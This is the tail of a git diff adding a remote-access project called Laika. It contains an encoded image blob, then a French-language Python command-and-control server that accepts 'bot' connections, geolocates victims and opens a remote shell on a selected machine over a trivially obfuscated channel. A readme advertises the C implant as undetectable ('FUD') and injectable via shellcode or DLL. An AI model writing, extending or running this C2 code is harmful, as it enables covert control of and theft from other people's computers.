z6=69kh**s$@%P$5ei1WaL%VS80Oa)lGon{wk=g<54us$&tbD1b5qzkUb>JB|{jbUP zidkt0{61g|$61O5!OBFVjuVf(toQ`^4f1n-gqo7ZiM?q7qGU*T{nJ5;{rxhKX(PWs z5y>5%c9J`wDzoP!&?;Z=@C?sRTQr2&sgL-iYC3%{jX)!MuG)-Q5E9#h2uPvqplyco zXqq9$7|U6{4-juY(K!N762Pc>v1Zc0?noul+PXn~5_7b}^F`}tOL%B2P<8vRSMt6H@N$cg3O*r~Z zuPvoLJsimm9=`>IL6X3uD)3(g9+F@GXLGif{;l9mgL45bv&Ue+)mHPK&WAP|LvX%a zWBNh<(nn^BTC5R>Lw8`7zP!WS^4c}%`&IhwoUrzz;1S-)ebS2f{SgD0MzDWi5oP73 zTtmq0cft)XZo>omm;lP{O%~+MhJQcrH%_wwog)4^Zz*fceKMj)9YKA(sD-w@wV}hN zFs`(9C~eNd^m@r^8R^k1rOq7X;JCGQ&ioO##Jnfm-E<*Wk$$DQ(*M9ge!u**Q<#ZJ zaR)47lp{;*0Ad`FaW(#+8N{8B4}bCg=epQJalvp)XCSZJWt(sX~t3k>piE?#ZCAEbc8)9BLm)xlr4C~rA_ z$*%d_9+`+H%G~kg4rz`hY#jugy2A$L!i~&7Jz7fSxOfL|#2m9r((@|OObiOG)AeQN znl#)ed9JFC4)2tk@m3Hxbn0w@0&;{0!Gc6Xa4aL_)%k}@lCn%u8NST9Ohqr_Jt$Jq^@&06 zVMSFGUf_vxU1vc0M>o+RlUy@RseAMM z`;E`_*}0|e)t1K=_8?-r>eCEHydyT~u$D*a3vyBCOwZ$#`-{lT1-tQB1JP^~ckLtD z*ADcL*2?~}^o#&V9e6n%w@Rj1t9V{WD+J`HPg`oy~B{0)+jIYp%j76DVDO$N*Kdeqd`0IYU z^-*xm1rP^XBOmEc?ypOD-otsv1SSFXnxhY z*b{^k1lv%<`}Z;7M}#a~%POy%TP(;TDi#O@L2|e#XZd`R4|o5#&)+wR9Xa?(VE8FT zu1jj(JVRKJT;%u*&JhA6@;ZTa4#H8=sHP~2OY^4$mbu~0&~@dM=agj!a#%F2jo9wr z-s1`wVDk7tBg?e312Z@z-97@eWdL@x3x1~g)Xm?nnaqx|uMAeoE+ycc@@G~*Vs9QD zu75$}`D?J6A7>zxI}r<6QXLc0a)IY$hw?r0gZZbsA+%b>2?#!PwB~G{=6n*0=e@uP z2j1rbI+oOuY@paKe#I&*YDeCYT+M_CMPdw7fsLXe8IzqyJ%oyA-&*ONgvndJvO1I? z$R4AYa@R-S5|>Z|?~n}{zD(R+TbB$Xu-w}dsoo0^;MCz)yaY<7I8Z+YDqaIRj=swa zMZ8;6S*t0s0F53%>RcLzu1e7FoF7eRmpT~>()9zNp~`Bv#vJrSJ#b5Np4E29mU1-e zQiALz6S95o(hbv#d|AGI@aR2R3}r%EaeO$DaPJqdat21ZivCO)wFBPI^H(R%A2*nP z%umX)nF(mgkLJ7FH@>n9Fc#LeUhG z$D4=ZwP+H7vI!TxzQY@S>jBxr=CRbV!nSj17N#>QBB$@4a*L4c%I+bP;2OJ$OD}|X zZt|Y-pPH8CuNa0EOX(}duuFefkhI4F>V(?bq`5Oidt^hbK}w|Kl( z6|e2={!*tM3)jK?<0uA7iUXI;32^Ly`owID8DJAQBt+)eq^}+*P$=Mg2D#&Vh=>38q6G#;XL^_VDYSs@!Ex zS*QtQc2S|moEcIB9?X%-{o^bprJd8Gv%mhRe4y{jio*z12K6}2)$6PUuOkduL(xBQ zBG;MHM!5qsQh(4EeP(_Y)Liw6XbaRhC<>f^Qu4+i<1X`%tb^n zueUq61sn3*+Wm(meuTG1Z8>(IR!_~j^laG`ptAKLec77QX_Y`;8rv0?60Y&x@8|GW ztmf)Hw%QEqxN(L-9H1!=xk49ok8-!QCBo7do=k}lRJ#A5ju_b2*c0h>dbgy18yYpB zYcghU77#1B^3^x}06_Laig5jOk}+gAdxl3Ty#n#mHfZG%h8>yBLkZp}Ms`wV?gpq<>@zX)rO6o;Mno zbibm9o@jXN--$P7fYv?lT!;+pnXr{MCe$hS5JY zMbvba|~HZY{1k$yHLw?qlYRDU2z|F&84~A zuZ?%?d{X~Z52TuqrBY#MOo1sfMU3Vfzhm|0_yBmv^odXJ&wWL=p>Ob_6Xkx>BKc;A zWxZ?-7wH=pCE%X%PlBEq(TYvwbs63ZDf%f-gMQ*%!j1bFL)dXrBiHlJ+QR$VYI;n{ zl$9Y~M0yZlO;B1sKcFmomr%^{V2yJ)R}5Ttl2z^!(A-fju%3Gfa{z-ErLE=5RXj~J zZ_w3Y_=qM&gx8_=5(vaZdR)?*-B1T!zJR4LjuFmpR~3CnP|r?PI~R zjUlRIzs%H#rN{$u+2tNv*mEUf&yxpqkpShn(dp+Ba;TAr>i8A|t9WmfgB3@35J$zWyRn-S( zX3!5ySSU@M1YNn5UW=yNTv*_waS6MxM7$j}K>tRYs^Ux>)dR;QQeBq=V|v}G%3UYs z#3}OSvKK%uE&FR=Uci#7TZ-FSHO_;5j??BBXNNZ58Qd_Pwu$qxR|_2g=UMgT=szgO z*#k}nW*_=zAu;@$QzsiMzum}h$;r-d>TV8dLR)TgHsch ztw6E8(fBT~rLr#4C^(V*wSpqB&72u1DZePo07#W;_Y7h?u2&rh{E*7~))L%1wC{Zl zj7SLj@D()NFQ3c?a=Yc! z(RTbDV+x#21$hYZfIXu_<`xNRvNt5rrD`~~<~X^IZva7`2S;dVG>RS>KnwDU28I19 z*77U&YAp|*F+Rxv6satbAGyJvP{TX-@ zSka;#xY$!XXCsIc55%GJ@yvbvm!?ZuT3yF8oF9DD>NxC2==6hw&SUo1ya*P& zEUmm+^_Ll8GwH&Z2=b;L)>{L-R|fp!!N7UMEY|~&-7Ql=mHxvMEUnaZDX*5)T@_+u zxOC;94@`dCwkf8DnZdirI5~b1q$O*P&0J}d*2dS^c^e>ZVB2#w7WSCFIX*1qIPuyA zcHD*Y?cCtbLo1jNeG3p1)J&5-%)d3fU9Pz-nqh`$B;(CSbMt!MIE}9z2k<6cBF?UJ zFPwXww8@-%;~i9Bd`0L4poXA&0W2*9f8N9q)VW~Zr}9UGWj(^{3lOlr0n{n)vq6|8 zbOCfdFdklda76N~9Oks^_*>DtW~(M}C51~l2gSBws8FwHq-!UVf%M-G=2sxl8i6QO z2#Ew)gIbW${S#LQ&~^X#0i+TB3x?gm*4k)(@7K%KLAQu9gF^wl@3YS>nv17H+*lLM zmyuBm-UfcPe%Eyp!v<`AfyPxok=g<^xv%;hN-P1T~`c z!J!KD_5}lkd$!n+Thb~y<^Q#r3x6d_sRG_qL%7z#{l}i0+f-mOk~(xN9y33c*A#0N z5mUO9=OtYsW=CDxxVrz?)^oxk0sZ1d*U3tf;9Ebk&I33U5_F{RHzsYAokE>WRZNn= zr5Idnk#tx6i04c}Nzb{2x}dkQN!#C`L-QxP1`l=nuRxaPNX%b!>jEv)Dvu1d(Ir*o z@i~+f;|;oCZ<-#v5}Lu?Jz3r583Uc&9UAL%bxR`UJmY$VIYO>?$f=*_bExh!2|9nu zon<&Nomr>Iz-a)?V*8NpA7LpCHk<;wQcX%t*n&7L!a&`C$qrZv2<}!sJwWZ^mSg?c z1ps`N$Giv=htkmRByqsu025>ZA?CnPt}>PYXpIlcO^AXgQ%i)(o~Q&|a-7kEI_&}* z)vQhYP{>*)PyAkv)OJ~~igbS^=2SC1{bFjFMIRKW)Aa<#ej>?!sp|*Q4R1c*o;Ln| z$a4FZ6NqCq`7>(@)KBm}C+PI~4XS-K`c?$8Yq+q1$faJQL8d9TUArO4Dx4x{aA5aW>w z2f~v4j=&pRbliQZ9x3zn^5fEbnQg$EUZcnGQs*LA?|QH{aK#c9QDgn=twH%zZUSzs zo;6oJOJUSpA#pAk9 z=3dNBa6>e^QxDVz9@G(&rh9upjvJs@F(pHU*<_aIXukgaa;!{Kdx~BdiJ>akL;*5> zcuvt%b9dH}ruLqFUw5bqYA!OyzlpYnVk@wvB>H-7fn9P+!UT;ms(;r$_l9nH50k*RFZ= zrJ@?5zkJhpz8Bvr(a?n-zRxK5Em-I=naX^b+rQMt6)Jg}bOG}t$7v=_%4RA^dlfIs zH4Qo}5{_c6s%=Za;aOxq`edk#USU4^a=?`3|3c(B9GI|pk=^qYervP1O`RO5V-tsL zp!*aKph5Q>OobUdB8}N8_TRiPT<^Ep10XG2O*`lpSE8aOGQSLDf7s8N7fTRL8s%mP z+oCi+c=BfPU59Zd%&d~?fa0YV*me}LB?+y@-CV9D&YmR^W@;u~D z_mX|k)bG&=I^1~wZZdL>TGybSFkG;TcX?0`6ju%DV}RoT066Z=w{_@>DYS-iy{K%_ z3z4)>Npw5Kyr1P0AJj*rKSfLo>tBy~JY=ab7EwLe*bAWOa3QY*8>%?_A3~=wV+oJ# zA7h}aQw)Ni@*eO^c!c=Q777l#$S!~i3qan2W;@n~xxE6|D^Py;3y?;M$q3-z+Cu~3 znFNrQet4b}4Ku+w+i^Yf zojlq>u_2@g98fvaAlW)r^U%#D`@ zmZH12$zrw4GhyvB&puc+Vh~r2#ar~$H+gjG;pt$*d3Y8^=M<*uZ*H(P4LSbOZSa&l zX8sS*>WMkc-F*KR;*gasH1Jx#aY^012Y-$SDQn6i71z(4gdL>pW2T*a(S4YuJo>x8 z`DkA4!5)@^E-(+20>A~PW_=$K`OfD-_;9*4@zv|$^z4!(>(n9uZBz6sJt7A0rY1UM zQT~HA3zEHu@WRzAO*O7b7Kj){eU3~gw@7ftXwo)fOeWAyot|-P-VE2!DnJhE{~5(O z8xbvdmyIOTWBZTm+h3I5!$3O?shMs(V=+w7#k|z?f>ztpU@|lR%w|UZ@WO1*M#*8Y zrLmWJwZ-Qv?UTW{FuL-E=n~0v-{BeXh`?d8`CW7wj6=RySlBG%a3L`8lcCq`eIr z)3)-caKu@o_>dU?*4E1!V5Eo%OexT&iaM`wH3GQTzukF_bC$2hg?cMV(vaLte7UK{&nzA54oG0$mblB|%`TnUe7Gb}jzttk zafK>angCk_HHorB5{=biLrR*zq})6+8_rPUgW&+6IwrHD7t;dXFXpjHyp0>#O#oJ; zv1x^j`rYMqUGJ9*N>ExT{}>MR;*Qk=iMcFaJR>QO!49q^ zNdaZK(Yga0liJ#)CBR>aQGrA+2TowV`|{l=u`k2l0^lizCh^C|N26OkLC zl}noJBy{sjQ^ws@zSgjR1RLvYhwFfd@sJJW17i>>(b(F>anCJ)QncFm^o#YDjM`bF zsN0@4XywRVewED^auBJ|HLD}?m&%v{>;R;Qf}CFInHXu%dp=p#S&USp!#1m7||PegTXLY~AjCfW>L$`9pmA%mDSd zB*C!SzB&T1I7gqK8z`Z#NHuVV|C!*|*0*h^|NHv^7nTX?8y-|Bynmd&7-mP~qsW9L zx1ZvBR;mK{m29Q(=1M~#nd=g^ zygfXqBq^tIC9Qk_+Sg`hsnAv-U_lWJIL4dty7`}i^u!z2$cqc!fF_&?KTJ~o2K*um z!+d_Q-PW9l1iM<8q@9*91bnXe#O?S?d+uz*uluQ7aka%#N*`dVkp0Wmv6ipTt(+Pa z0!gk5v!_%=WRH&v!JkOo6y61(`v5vs?td#P`)9RXi7zLGICJkg&3I`pSY=wta`vc2 zN|0Z_pcG_utMq~NOhZwSlRFls;`3fE-#$*ufj{zf1c-{|X!&kW57cVN(P|t}FhnRw zPIC?QDIqN@qQPbz(2lkuOkzMc6M>@>N9zR<78=yZcpG~4%~?0sePe%PeIZ@-k+2~k z%QmC-U&LU{4!w!IrIvZLL7P5t9v=7Jpe^6A_nXdO_gb?C0%m?K%-FN^JMhe( z{P=oJSu%_n8Tu~SY%aYYVdfTNbbObiA#Q|P@q4AAqcT`hC65IX$ge8APuzI-IO-|K z59#$L!z`d>fO4u5_x}FQoKbFa-oNMisv{YC$XxWg2j%@wT_0x3PP(rxaq&Y|B%IH-RH1gW$-Y}I1XI6cXC}o1!0oh#hP+c^rKWpAi05A@-8az`r(wS(30eC{ zuEp)|S}OIXUrh49;qqEhf#&vk^vB)K=fyMon@SI%I-M&hj-Gohj@eP2f9L)L0cw_4 z`9)svVdeF9w#9lcAGAeQQEg?TBbu0Xg$04?sGF0M%xaw6-w*a0vnJ5ufI^9Y|NA`U zAggjE6alWP@gP^%+oy20e}}hz&PlUZC%Y0?Jv^|1Ov~X^8k`vbqS-iIN8d+n%c9dQ z*J0(pMra^j>8TI;Dkk?NBikwGI@y``G7J7PjcCUuU9Qd>kTBS(BQL1E7ckL)d$+FB z?=hQwsOk5;@c8zmEDfq#f;+ly*WO0-7YBC5WF3g} zpIWvXi!M!V*WnjZ2L0zwDjv6=PA8&M_8i z;#{PAcn@=i?t$hbI%85Y07WS5cLKF-ZiD6an6}H2V+#3_ZN(5&I>9Xjb?Fry{eKdl zxSqfL&Q=SwBmiUUk<}0$yV_v?{<72O*a0Zilxqq zcvqP8F9#8f8$e_Ic{Tsd2>y>S0sfzg3h$N}FaB6PcxCGM_fG=+SAjoPW;UmaPh5)p EU+95D;s5{u literal 0 HcmV?d00001 diff --git a/Server/Server.py b/Server/Server.py new file mode 100644 index 0000000..aabce7b --- /dev/null +++ b/Server/Server.py @@ -0,0 +1,185 @@ +from colorama import Fore, Style +from prettytable import PrettyTable +from geoip import geolite2 +from threading import Thread +import os, sys, time +import select +import socket + +ADRESSE = '192.168.1.35' +PORT = 1337 +CONNECT_CLIENTS = [] #liste des sockets ouverts +THREAD_LIST = [] #tout les threads +CAESAR_KEY = 5 +SELECTED_CLIENT = -1 + +serveur = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +serveur.bind((ADRESSE, PORT)) + +def CAESAR(in_s: str) -> str : + r="" + for c in in_s : + try : + r+=chr(ord(c)+CAESAR_KEY) + except : + r+=" " + return r + +def CAESAR_DECRYPT(in_s: str) -> str : + r="" + for c in in_s : + try : + r+=chr(ord(c)-CAESAR_KEY) + except : + r+=" " + return r + +def ban() : + os.system("title Laika - 0 bots") + os.system("cls") + print(Fore.RED + " __ _ _ ") + print(Fore.RED + " / / __ _ (_)| | __ __ _ ") + print(Fore.RED + " / / / _` || || |/ // _` |") + print(Fore.RED + "/ /___| (_| || || <| (_| |") + print(Fore.RED + "\____/ \__,_||_||_|\_\\\__,_|") + print(Style.BRIGHT + Fore.GREEN +"Là où fini l'État, commence l'arc-en-ciel." + Fore.RESET + Style.RESET_ALL) + print("") + +def on_new_client() -> None : + while True : + serveur.listen(1) + client, adresseClient = serveur.accept() + client.setblocking(0) + CONNECT_CLIENTS.append(client) + +def on_close_socket() -> None: + global CONNECT_CLIENTS + while True : + for s in CONNECT_CLIENTS : + try: + # this will try to read bytes without blocking and also without removing them from buffer (peek only) + data = s.recv(16, socket.MSG_PEEK) + if len(data) == 0: + CONNECT_CLIENTS.remove(s) + except BlockingIOError: + pass # socket is open and reading from it would block + except ConnectionResetError: + CONNECT_CLIENTS.remove(s) # socket was closed for some other reason + except Exception as e: + pass + +def update_title() -> None : + while True : + if SELECTED_CLIENT == -1 : + os.system("title Laika ^| "+str(len(CONNECT_CLIENTS))+" bots") + else : + os.system("title Laika ^| "+str(len(CONNECT_CLIENTS))+" bots - Selection : n°" + str(SELECTED_CLIENT)) + time.sleep(2) + +def recv_message(socket_object) -> bool: + socket_object.settimeout(0.1) + while True: + try : + message = socket_object.recv(4096) + if CAESAR_DECRYPT(message.decode("latin-1")) == "Laika: session ended" : + return False + except socket.timeout : + break + if not message: + break + print(CAESAR_DECRYPT(message.decode("latin-1")), end="") + if socket_object.gettimeout() == 0: + break + + return True + +def main() -> None : + global SELECTED_CLIENT + + ban() + + THREAD_LIST.append(Thread(target = on_new_client, args = ())) + THREAD_LIST.append(Thread(target = on_close_socket, args = ())) + THREAD_LIST.append(Thread(target = update_title, args = ())) + + for t in THREAD_LIST : + t.daemon = True + t.start() + + while True : + cmd = input(Fore.LIGHTBLUE_EX +"-> " + Fore.RESET) + + if cmd == "help" : + print("") + print("help : montre ce message") + print("clear : efface l'écran") + print("clients : montre les clients connectés") + print("select : sélectionne le client avec lequel intéragir") + print("deselect : désélectionne le client précédemment séléctionné avec \"select\"") + print("shell : ouvre un reverse shell dans le client précédemment séléctionné avec \"select\"") + print("") + + elif cmd == "exit" : + for c in CONNECT_CLIENTS : + c.close() + sys.exit(0) + + elif cmd == "clear" : + ban() + + elif cmd == "clients" : + print("") + x = PrettyTable() + x.field_names = ["ID", "IP", "PORT", "PAYS"] + + for i in range(0,len(CONNECT_CLIENTS)) : + c = CONNECT_CLIENTS[i] + addr = c.getpeername()[0] + pays = "" + match = geolite2.lookup(addr) + + if match is not None : + pays = match.country + + x.add_row([i, addr, PORT, pays]) + + print(x) + print() + + elif "select " in cmd : + id = cmd.replace("select ","") + if not id.isdigit() or int(id) < 0 or len(CONNECT_CLIENTS) < 1 or int(id) > len(CONNECT_CLIENTS)-1 : + print(f"\"{id}\" n'est pas un ID valide.") + continue + + SELECTED_CLIENT = int(id) + print(f"Client numéro : {SELECTED_CLIENT} sélectionné.") + + elif cmd == "deselect": + if SELECTED_CLIENT == -1 : + print("Vous n'avez aucun client sélectionné.") + else : + print(f"Client {SELECTED_CLIENT} déselectionné.") + SELECTED_CLIENT = -1 + + elif cmd == "shell" : + if SELECTED_CLIENT == -1 : + print("Vous n'avez aucun client sélectionné.") + continue + + client = CONNECT_CLIENTS[SELECTED_CLIENT] + client.send(CAESAR("shell").encode()) + + time.sleep(1) + + while True : + if not recv_message(client) : break + command = input("") + client.send(CAESAR(command+"\n").encode()) + + print("\nSession terminée.") + + else : + print("Commande non reconnue, \"help\" pour afficher la liste des commandes.") + +main() \ No newline at end of file diff --git a/Server/requirements.txt b/Server/requirements.txt new file mode 100644 index 0000000..cf8888f --- /dev/null +++ b/Server/requirements.txt @@ -0,0 +1,4 @@ +colorama +prettytable +python-geoip-python3 +python-geoip-geolite2 \ No newline at end of file diff --git a/readme.md b/readme.md new file mode 100644 index 0000000..ca61137 --- /dev/null +++ b/readme.md @@ -0,0 +1,27 @@ +# Laika + +# Agent + +* Petit (7ko) +* Fait en C, sans CRT +* x86bit +* Modulaire (peut se déployer via shellcode/dll/pe injection/.exe) +* Trafic chiffré +* API resolve de manière dynamique +* Reconnect en cas de plantage serv/autre +* Liste de serveurs de fallback +* FUD + +
+TODO + +* x64bit support +* Custom sleep +
+ +# Server + +* Fait en Python +* Tout beau + +![Alt text](Screenshots/Server.PNG "Screenshot du server") \ No newline at end of file